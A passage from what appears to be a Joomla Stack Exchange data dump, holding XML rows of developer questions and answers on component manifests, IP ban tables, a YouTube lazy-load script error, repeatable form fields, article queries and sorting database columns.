copy FROM in the package to install therefore files copied&#xA;            in this section are copied from /admin/ in the package --&amp;gt;&#xA;        &amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&#xA;            &amp;lt;!-- Admin Main File Copy Section --&amp;gt;&#xA;            &amp;lt;filename&amp;gt;config.xml&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename&amp;gt;access.xml&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;!-- more after --&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;&amp;lt;!-- more after --&amp;gt;&#xA;&amp;lt;/administration&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Just to be complete, I give you the link to the official documentation related to this point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_ACL/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Click here to learn more&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-07-13T02:28:03.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30358" PostTypeId="2" ParentId="30337" CreationDate="2021-07-13T08:24:55.003" Score="1" Body="&lt;p&gt;With Admintools it keeps a history of banned IP's as well as the currently banned IP's. If you check the &lt;code&gt;#__admintools_ipbanhistory&lt;/code&gt; table via phpMyadmin or whatever you use you will probably see the people or their IP's listed. I have found clearing this table of the entries has solved a similar issue that I have had in the past.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-07-13T08:24:55.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30359" PostTypeId="1" CreationDate="2021-07-13T10:45:38.767" Score="0" ViewCount="62" Body="&lt;p&gt;I updated plugin JCH Optimize.&lt;br&gt;&#xA;When it's enabled I get issue:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error in script declaration; Error:Cannot read property '1' of null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5CrjL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CrjL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;I tried to exclude this script and css, but it doesn't work.&#xA;&lt;a href=&quot;https://easy-moving.ca/piano-movers-toronto&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link into&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function parseMediaURL(media){&#xA;    let regexp=/https:\/\/i\.ytimg\.com\/vi\/([a-zA-Z0-9_-]+)\/maxresdefault\.jpg/i;&#xA;    let url=media.src;&#xA;    let match=url.match(regexp);&#xA;    return match[1];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I found out it's because of the script.&#xA;I guess I'm doing it wrong.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;video&amp;quot;&amp;gt;&#xA;            &amp;lt;a class=&amp;quot;video__link&amp;quot; href=&amp;quot;http://youtu.be/IDSJ0iMLq_U&amp;quot;&amp;gt;&#xA;                &amp;lt;picture&amp;gt;&#xA;                    &amp;lt;source srcset=&amp;quot;https://i1.ytimg.com/vi_webp/IDSJ0iMLq_U/maxresdefault.webp&amp;quot; type=&amp;quot;image/webp&amp;quot;&amp;gt;&#xA;                    &amp;lt;img class=&amp;quot;video__media&amp;quot; src=&amp;quot;https://i.ytimg.com/vi/IDSJ0iMLq_U/maxresdefault.jpg&amp;quot; alt=&amp;quot;7 steps in moving a piano from Piano movers Toronto #1.&amp;quot;&amp;gt;&#xA;                &amp;lt;/picture&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;button class=&amp;quot;video__button&amp;quot; aria-label=&amp;quot;Start the video&amp;quot;&amp;gt;&#xA;                &amp;lt;svg width=&amp;quot;68&amp;quot; height=&amp;quot;48&amp;quot; viewBox=&amp;quot;0 0 68 48&amp;quot;&amp;gt;&#xA;                    &amp;lt;path class=&amp;quot;video__button-shape&amp;quot; d=&amp;quot;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&#xA;                    &amp;lt;path class=&amp;quot;video__button-icon&amp;quot; d=&amp;quot;M 45,24 27,14 27,34&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&#xA;                &amp;lt;/svg&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            function findVideos() {&#xA;                let videos = document.querySelectorAll('.video');&#xA;&#xA;                for (let i = 0; i &amp;lt; videos.length; i++) {&#xA;                    setupVideo(videos[i]);&#xA;                }&#xA;            }&#xA;&#xA;            function setupVideo(video) {&#xA;                let link = video.querySelector('.video__link');&#xA;                let media = video.querySelector('.video__media');&#xA;                let button = video.querySelector('.video__button');&#xA;                let id = parseMediaURL(media);&#xA;&#xA;                video.addEventListener('click', () =&amp;gt; {&#xA;                    let iframe = createIframe(id);&#xA;&#xA;                    link.remove();&#xA;                    button.remove();&#xA;                    video.appendChild(iframe);&#xA;                });&#xA;&#xA;                link.removeAttribute('href');&#xA;                video.classList.add('video--enabled');&#xA;            }&#xA;&#xA;            function parseMediaURL(media) {&#xA;                let regexp = /https:\/\/i\.ytimg\.com\/vi\/([a-zA-Z0-9_-]+)\/maxresdefault\.jpg/i;&#xA;                let url = media.src;&#xA;                let match = url.match(regexp);&#xA;&#xA;                return match[1];&#xA;            }&#xA;&#xA;            function createIframe(id) {&#xA;                let iframe = document.createElement('iframe');&#xA;&#xA;                iframe.setAttribute('allowfullscreen', '');&#xA;                iframe.setAttribute('allow', 'autoplay');&#xA;                iframe.setAttribute('src', generateURL(id));&#xA;                iframe.classList.add('video__media');&#xA;&#xA;                return iframe;&#xA;            }&#xA;&#xA;            function generateURL(id) {&#xA;                let query = '?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1';&#xA;&#xA;                return 'https://www.youtube.com/embed/' + id + query;&#xA;            }&#xA;&#xA;            findVideos();&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The script for video YouTube instead of Iframe.&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="12352" LastEditDate="2021-07-13T13:05:02.150" LastActivityDate="2024-03-30T15:02:55.320" Title="Error in script declaration; Error:Cannot read property '1' of null" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30360" PostTypeId="1" AcceptedAnswerId="30361" CreationDate="2021-07-13T14:57:00.987" Score="2" ViewCount="32" Body="&lt;p&gt;I have the following fields in a component:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;carousel_container&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;carousel&amp;quot; type=&amp;quot;Repeatable&amp;quot; icon=&amp;quot;list&amp;quot; description=&amp;quot;&amp;quot; label=&amp;quot;Carousel&amp;quot; default=&amp;quot;&amp;quot;&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset hidden=&amp;quot;true&amp;quot; name=&amp;quot;list_templates_modal&amp;quot; repeat=&amp;quot;true&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;carouselimage&amp;quot; type=&amp;quot;media&amp;quot; directory=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;carouselcaption&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Caption&amp;quot; filter=&amp;quot;raw&amp;quot; class=&amp;quot;inputbox&amp;quot;  /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;carouselimagealt&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Alt&amp;quot; filter=&amp;quot;raw&amp;quot; class=&amp;quot;inputbox&amp;quot;  /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This then saves JSON to the database as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;carouselimage&amp;quot;:  [&amp;quot;images/1060333.jpg&amp;quot;,&amp;quot;images/2012861.jpg&amp;quot;,&amp;quot;images/2024459.jpg&amp;quot;],&#xA;    &amp;quot;carouselcaption&amp;quot;:[&amp;quot;This is a caption&amp;quot;,&amp;quot;Another caption&amp;quot;,&amp;quot;and another on&amp;quot;],&#xA;    &amp;quot;carouselimagealt&amp;quot;:[&amp;quot;alt text one&amp;quot;,&amp;quot;alt text two&amp;quot;,&amp;quot;alt text three&amp;quot;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I then get the repeatable field value and decode it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$carousel_images = array_combine($carousel_images['carouselimage'], $carousel_images['carouselcaption']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // loop the result&#xA;    $count = 0;&#xA;    foreach ($carousel_images as $image =&amp;gt; $caption) {&#xA;      $count++;&#xA;&#xA;      // do something clever for each of the images&#xA;      if ($count == 1) {&#xA;        echo '&amp;lt;div class=&amp;quot;carousel-item active&amp;quot;&amp;gt;';&#xA;      } else {&#xA;        echo '&amp;lt;div class=&amp;quot;carousel-item&amp;quot;&amp;gt;';&#xA;      }&#xA;&#xA;      echo&#xA;      '&amp;lt;img class=&amp;quot;d-block w-100&amp;quot; src=&amp;quot;' . $image . '&amp;quot; alt=&amp;quot;WHAT VALUE HERE?&amp;quot;&amp;gt;&#xA;      &amp;lt;div class=&amp;quot;caption&amp;quot;&amp;gt;' . $caption . '' . $count . '&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works and shows 'carouselimage' and 'carouselcaption' but how can I get it to give me the value of 'carouselimagealt' in order for me being able to call it in html?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2021-07-13T15:41:55.487" Title="Show more than two values from array" Tags="|php|custom-component|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30361" PostTypeId="2" ParentId="30360" CreationDate="2021-07-13T15:41:55.487" Score="2" Body="&lt;p&gt;Been a while since I used repeatable form fields (deprecated and subform fields should be used instead), but if I rightly remember, the repeatable form fields response format was a little different. It grouped each column in an array rather than each row.&lt;/p&gt;&#xA;&lt;p&gt;So what you'll need to do is define a function to group the values by key:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function groupByKey($array) &#xA;{&#xA;    $result = [];&#xA;&#xA;    foreach ($array as $key =&amp;gt; $value) &#xA;    {&#xA;        foreach ($value as $k =&amp;gt; $v) &#xA;        {&#xA;            $result[$k][$key] = $v;&#xA;        }&#xA;    }&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Get the carousel parameters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$carousel = json_decode($params-&amp;gt;get('carousel'), true);&#xA;$carouselItems = groupByKey($carousel);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Iterate over the array of carousel items:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($carouselItems as $item)&#xA;{&#xA;    echo $item['carouselimage'];&#xA;    echo $item['carouselcaption'];&#xA;    echo $item['carouselimagealt'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-07-13T15:41:55.487" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30362" PostTypeId="2" ParentId="30355" CreationDate="2021-07-13T21:50:58.740" Score="2" Body="&lt;p&gt;To answer your newer question,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If there isn't a way to see a log of when someone logged out, is there&#xA;at least a way to tell who is currently logged in?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can only record when someone takes an action to log out, i.e. presses the logout button, you cannot record someone whose session has expired and therefore required to go through the login process again.&lt;/p&gt;&#xA;&lt;p&gt;See my comments to your original post for more background but your question is really 'Who has or had an active admin session?'&lt;/p&gt;&#xA;&lt;p&gt;If you don't want to write any code then, as you mention, then you have this module in the admin pages that shows you currently 'logged in' which would be more accurate if it said 'Active Sessions' but it is real time, there is no logging or recording.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hzl3H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hzl3H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: If you use Shared Sessions then there is no distinction shown for Administration sessions.&lt;/p&gt;&#xA;&lt;p&gt;If you don't see the 'Logged-in Users' module on your Control Panel, which I believe is displayed by default, then you can go to Extensions-&amp;gt;Modules and filter the list by Administrator, not Site, and it should be listed there with a position of 'cpanel'.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Knjau.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Knjau.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To log or record when certain people are logged into your back end I expect you would need a cron job running periodically in the background recording who has an admin session at that particular moment.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-07-14T03:26:41.263" LastActivityDate="2021-07-14T03:26:41.263" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30363" PostTypeId="1" CreationDate="2021-07-14T08:01:21.350" Score="0" ViewCount="96" Body="&lt;p&gt;How to Remove after question mark data in JS File?&lt;/p&gt;&#xA;&lt;p&gt;Our JS File was - /media/jui/js/jquery.min.js?74a9f5d23561aa584c363ede5bfbfad6&lt;/p&gt;&#xA;&lt;p&gt;For Example - Only load in /media/jui/js/jquery.min.js&lt;/p&gt;&#xA;" OwnerUserId="15519" LastActivityDate="2021-07-14T08:42:13.830" Title="Joomla JS file Remove on after question mark data" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30364" PostTypeId="2" ParentId="30363" CreationDate="2021-07-14T08:42:13.830" Score="1" Body="&lt;p&gt;The &amp;quot;question mark data&amp;quot; = token that prevents caching issues after Joomla updates.&lt;/p&gt;&#xA;&lt;p&gt;When you update Joomla to a higher version, its CSS and/or JavaScript can be changed. Visitors that visited your website before will load it from their cache and not the new files from the site.&lt;/p&gt;&#xA;&lt;p&gt;If you really don't want that, you could change the &lt;code&gt;'version' =&amp;gt; 'auto'&lt;/code&gt; part when the Javascript file is loaded.&lt;/p&gt;&#xA;&lt;p&gt;For instance in the default Protostar:&#xA;&lt;code&gt;JHtml::_('script', 'jui/html5.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true, 'conditional' =&amp;gt; 'lt IE 9'));&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The 'auto' adds the token. You can change it to an empty ''.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-07-14T08:42:13.830" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30365" PostTypeId="2" ParentId="30359" CreationDate="2021-07-14T09:40:22.423" Score="0" Body="&lt;p&gt;I found it similar ask.&#xA;I solved it. Helpful answer &lt;a href=&quot;http://I%20solved%20it%20it%20is%20helpful%20answer%20nevermind%20I%20solved%20the%20problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;nevermind I solved the problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15471" LastActivityDate="2021-07-14T09:40:22.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30366" PostTypeId="1" AcceptedAnswerId="30367" CreationDate="2021-07-14T16:03:25.877" Score="1" ViewCount="141" Body="&lt;p&gt;I need to show the latest 3 content items from the database.&lt;/p&gt;&#xA;&lt;p&gt;I want to show the:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intro Image&lt;/li&gt;&#xA;&lt;li&gt;Article title (with a link to the article)&lt;/li&gt;&#xA;&lt;li&gt;Published Date&lt;/li&gt;&#xA;&lt;li&gt;Intro Copy (limited to 100 characters)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have written the following, which is working but I need to json_decode the images in order to show the introimage:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;row&amp;quot; id=&amp;quot;interested-in&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;col-12&amp;quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;Heading Here&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;&#xA;            use Joomla\CMS\Language\Text;&#xA;            use Joomla\CMS\Date\Date;&#xA;            use Joomla\CMS\Factory;&#xA;&#xA;            $db = JFactory::getDbo();&#xA;&#xA;&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            $query-&amp;gt;select('*');&#xA;            $query-&amp;gt;from('#__content');&#xA;            $query-&amp;gt;order('id DESC ');&#xA;            $query-&amp;gt;limit('3');&#xA;&#xA;            $db-&amp;gt;setQuery((string)$query);&#xA;            $res = $db-&amp;gt;loadObjectList();&#xA;&#xA;&#xA;&#xA;            $i = 0;&#xA;            foreach ($res as $r) {&#xA;                $introimage = $r-&amp;gt;images;&#xA;                $id = $r-&amp;gt;id;&#xA;                $title = $r-&amp;gt;title;&#xA;                $published = $r-&amp;gt;publish_up;&#xA;                $intro = $r-&amp;gt;introtext;&#xA;                if (++$i &amp;gt; 3) break;&#xA;&#xA;                echo '&amp;lt;div class=&amp;quot;col-lg-4 col-md-6&amp;quot;&amp;gt;';&#xA;                echo '&amp;lt;div class=&amp;quot;card&amp;quot;&amp;gt;';&#xA;                if ($introimage == null || $introimage == '/') {&#xA;                    echo '&amp;lt;div class=&amp;quot;card-img-top holding-image&amp;quot; alt=&amp;quot;' . $title . '&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                } else {&#xA;                    echo '&amp;lt;img class=&amp;quot;card-img-top&amp;quot; src=&amp;quot;' . $introimage . '&amp;quot; alt=&amp;quot;' . $r-&amp;gt;title . '&amp;quot;/&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;div class=&amp;quot;card-body&amp;quot;&amp;gt;';&#xA;                echo '&amp;lt;a href=&amp;quot;' . JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $id) . '&amp;quot;&amp;gt;';&#xA;                echo '&amp;lt;h5 class=&amp;quot;card-title mb-4&amp;quot;&amp;gt;'.$title.'&amp;lt;/h5&amp;gt;';&#xA;                echo '&amp;lt;/a&amp;gt;';&#xA;                echo '&amp;lt;time datetime=&amp;quot;'. $published . '&amp;quot; class=&amp;quot;mb-2 text-muted&amp;quot;&amp;gt;'.$published.'&amp;lt;/time&amp;gt;';&#xA;                echo '&amp;lt;p class=&amp;quot;card-text&amp;quot;&amp;gt;'.mb_strimwidth(&amp;quot;$intro&amp;quot;, 0, 80, &amp;quot;...&amp;quot;).'&amp;lt;/p&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;            } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also need to echo the date in a different format, I've tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;time datetime=&amp;quot;'. $published . '&amp;quot; class=&amp;quot;mb-2 text-muted&amp;quot;&amp;gt;'.$published-&amp;gt;format(Text::_('DATE_FORMAT_LC')).'&amp;lt;/time&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that gives me an error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to a member function format() on string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="294" LastEditorUserId="12352" LastEditDate="2021-11-21T21:49:13.767" LastActivityDate="2021-11-21T21:49:13.767" Title="Query database and show latest 3 articles from __content" Tags="|php|com-content|content|json|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30367" PostTypeId="2" ParentId="30366" CreationDate="2021-07-14T17:26:22.123" Score="2" Body="&lt;p&gt;Resolved this as follows:&lt;/p&gt;&#xA;&lt;p&gt;In foreach, for the intro image, I replaced&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$introimage = $r-&amp;gt;images;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$introimage = json_decode($r-&amp;gt;images)-&amp;gt;image_intro;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the date formatting, I added:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and replaced&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;time datetime=&amp;quot;' . $published . '&amp;quot; class=&amp;quot;mb-2 text-muted&amp;quot;&amp;gt;' . $published.'&amp;lt;/time&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;time datetime=&amp;quot;' . $published . '&amp;quot; class=&amp;quot;mb-2 text-muted&amp;quot;&amp;gt;' . HtmlHelper::date($published, Text::_('DATE_FORMAT_LC')) . '&amp;lt;/time&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="12352" LastEditDate="2021-07-15T10:50:01.160" LastActivityDate="2021-07-15T10:50:01.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30368" PostTypeId="1" AcceptedAnswerId="30369" CreationDate="2021-07-14T17:55:41.117" Score="1" ViewCount="124" Body="&lt;p&gt;My table '#__boats' is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;id  category    type            AIG     ALLIANZ LLOYDS &#xA;1   0           Motorboats          &#xA;2   0           Sailingboats            &#xA;3   0           Jet Ski         &#xA;4   1           up to 15hp              101,24&#xA;5   1           up to 25hp      88,32   86,96   118,11&#xA;6   1           26-30hp         89,32   87,96   119,11&#xA;7   1           31-50hp         90,32   88,96   120,11&#xA;8   2           51-70hp         107,64  104,35  168,74&#xA;9   2           71-75hp         111,78  104,35  168,74&#xA;10  3           76-100hp        111,78  104,35  168,74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The boathp element action is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function ff_boathp_action(element, action)&#xA;{&#xA;  switch (action) {&#xA;    case 'change':&#xA;      jQuery('#ff_elem9589').empty();&#xA;      jQuery.ajax({&#xA;        type: &amp;quot;POST&amp;quot;,&#xA;        url: &amp;quot;https://myurl/boatspt.php&amp;quot;,&#xA;        data: {&#xA;          boathp: element.value&#xA;        },&#xA;        success: function(data) {&#xA;          var obj = JSON.parse(data);&#xA;          var arr = obj;&#xA;          jQuery('#ff_elem9589').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;            value: '',&#xA;            text: 'Επιλέξτε τύπο πλωτού'&#xA;          }));&#xA;          for (var i = 0; i &amp;lt; arr.length; i++) {&#xA;            console.log(arr[i]);&#xA;            jQuery('#ff_elem9589').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;              value: arr[i],&#xA;              text: arr[i]&#xA;            }));&#xA;          }&#xA;        }&#xA;      });&#xA;      break;&#xA;    default:&#xA;      ;&#xA;  } // switch&#xA;} // ff_boathp_action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In a .php I have the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$judgePick = JRequest::getVar('boathp');&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('AIG,ALLIANZ,LLOYDS')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__boats'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote($judgePick));&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadAssocList();&#xA;if (!$results)&#xA;{&#xA; echo &amp;quot;No results&amp;quot;;&#xA;}&#xA;else&#xA;{&#xA; echo json_encode($results);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I use $results = $db-&amp;gt;loadrow(); I get only the values of the row in question&lt;/p&gt;&#xA;&lt;p&gt;If I add $columns = array_keys($results[0]); I get only the column names in question&lt;/p&gt;&#xA;&lt;p&gt;but what I want to achieve in value descending order e.g. if the user requests 'type' = (up to 25hp), is the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALLIANZ 86,96&#xA;AIG     88,32           &#xA;LLOYDS  118,11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14225" LastEditorUserId="14225" LastEditDate="2021-07-15T07:30:48.087" LastActivityDate="2021-07-18T04:46:35.293" Title="How can I get the names of the columns with their corresponding row values as a list to use in a field (select list) of a form in Joomla MySQL" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30369" PostTypeId="2" ParentId="30368" CreationDate="2021-07-14T23:45:01.727" Score="3" Body="&lt;p&gt;Start with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$assoc = $db-&amp;gt;loadAssoc();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadAssoc.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase#loadAssoc.28.29&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This will provide a flat, associative result set array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$assoc = [&#xA;    'AIG' =&amp;gt; '88,32',&#xA;    'ALLIANZ' =&amp;gt; '86,96',&#xA;    'LLOYDS' =&amp;gt; '118,11',&#xA;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then prepare the results for sorting by creating a new column as the first element that represents the numeric value with a standard decimal point.  Also, calculate and cache the combined length of the column name and the numeric value string for future use.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$filtered = array_filter(&#xA;    $assoc,&#xA;    function($v) {&#xA;        return $v &amp;amp;&amp;amp; $v != '0,00';&#xA;    }&#xA;);&#xA;$prepared = [];&#xA;$max = 0;&#xA;foreach ($filtered as $columnName =&amp;gt; $number) {&#xA;    $rawLength = strlen($columnName . $number);&#xA;    $max = max($max, $rawLength);&#xA;    $prepared[htmlentities($columnName)] = [&#xA;        'asDecimal' =&amp;gt; (float) str_replace(',', '.', $number),  // declared as first element for sorting&#xA;        'length' =&amp;gt; $rawLength,&#xA;        'value' =&amp;gt; $number,&#xA;    ];&#xA;    &#xA;}&#xA;asort($prepared);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, set the minimum amount of space by which the two &amp;quot;columns&amp;quot; should be separated and store the 2-column string for use in the javascript.  You can safely remove data that will not be used on the client-side scripting.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$min = 5;&#xA;foreach ($prepared as $encodedName =&amp;gt; $subarray) {&#xA;    $prepared[$encodedName]['glue'] = str_repeat('&amp;amp;nbsp;', $max - $subarray['length'] + $min);&#xA;    unset($prepared[$encodedName]['asDecimal'], 